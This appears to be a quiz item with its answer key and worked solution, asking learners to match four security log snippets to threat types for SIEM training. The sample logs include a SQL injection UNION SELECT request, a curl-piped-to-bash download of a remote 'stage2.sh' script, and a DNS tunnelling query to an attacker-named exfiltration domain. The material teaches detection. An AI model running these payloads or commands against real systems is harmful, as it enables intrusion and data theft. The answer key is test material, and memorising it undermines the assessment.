Soru

Zorluk: OrtaLog Analysis and SIEM Management

Match each security telemetry log snippet with its corresponding threat classification or event type.

  • Apache Access Log:
    10.0.4.15 - - [27/Jul/2026:10:15:02] "GET /catalog.php?id=10%20UNION%20SELECT%20null,table_name%20FROM%20information_schema.tables-- HTTP/1.1" 200 3420
    SQL Injection (SQLi) attack attempting database metadata discovery
  • Windows Security Event Log:
    Event ID 4625 | Target Account: Administrator | Failure Reason: Unknown user name or bad password | Rate: 450 failed attempts within 30 seconds
    Automated brute-force authentication attack targeting a privileged account
  • Linux Auditd Log:
    type=EXECVE msg=audit(1785149300.124:402): execve("/bin/bash", ["bash", "-c", "curl -s http://192.168.5.10/stage2.sh | bash"], ...)
    Command Injection post-exploitation leading to remote script execution
  • DNS Query Telemetry:
    Query Type: TXT | Domain Request: "dGVzdF9zZWNyZXRfZGF0YQ.exfil.attacker-control.net" | Response Code: 200 OK
    DNS Tunneling attempt utilizing encoded subdomains for covert exfiltration

Cevap

1. Apache access log showing UNION SELECT syntax matches SQL Injection database schema discovery.
2. Windows Event ID 4625 showing rapid failures matches automated brute-force authentication.
3. Linux auditd log showing curl piped to bash matches command injection payload execution.
4. DNS query showing encoded subdomains in TXT records matches DNS tunneling.
Each log archetype provides unique markers: SQL keywords in HTTP logs indicate SQL Injection, high-frequency Event ID 4625 logs indicate brute-force authentications, auditd shell invocation logs indicate command execution, and encoded DNS TXT subdomains indicate DNS tunneling.

Adım Adım Çözüm

1
Examine the HTTP request string in the web server access log.
Identified URL-encoded SQL database discovery statements ('UNION SELECT').
SQL injection attacks inject structured query statements into HTTP parameters to extract backend data.
2
Analyze the Windows Event ID and failure frequency.
Event ID 4625 combined with 450 rapid failures confirms automated password brute-forcing.
Event ID 4625 specifically tracks logon failures on Windows operating systems.
3
Inspect the system execution parameters in the Linux kernel audit log.
Identified bash executing curl commands piped directly to a shell.
Auditd EXECVE events capture process execution arguments, highlighting malicious downloader invocation.
4
Evaluate the DNS query parameters and request structure.
Encoded string subdomains in TXT queries confirm covert channel data exfiltration.
DNS tunneling encapsulates non-DNS protocol traffic inside standard DNS lookup requests.

Anahtar Kavram

Telemetry Identification and Security Event Correlation
Bu soruyu puanla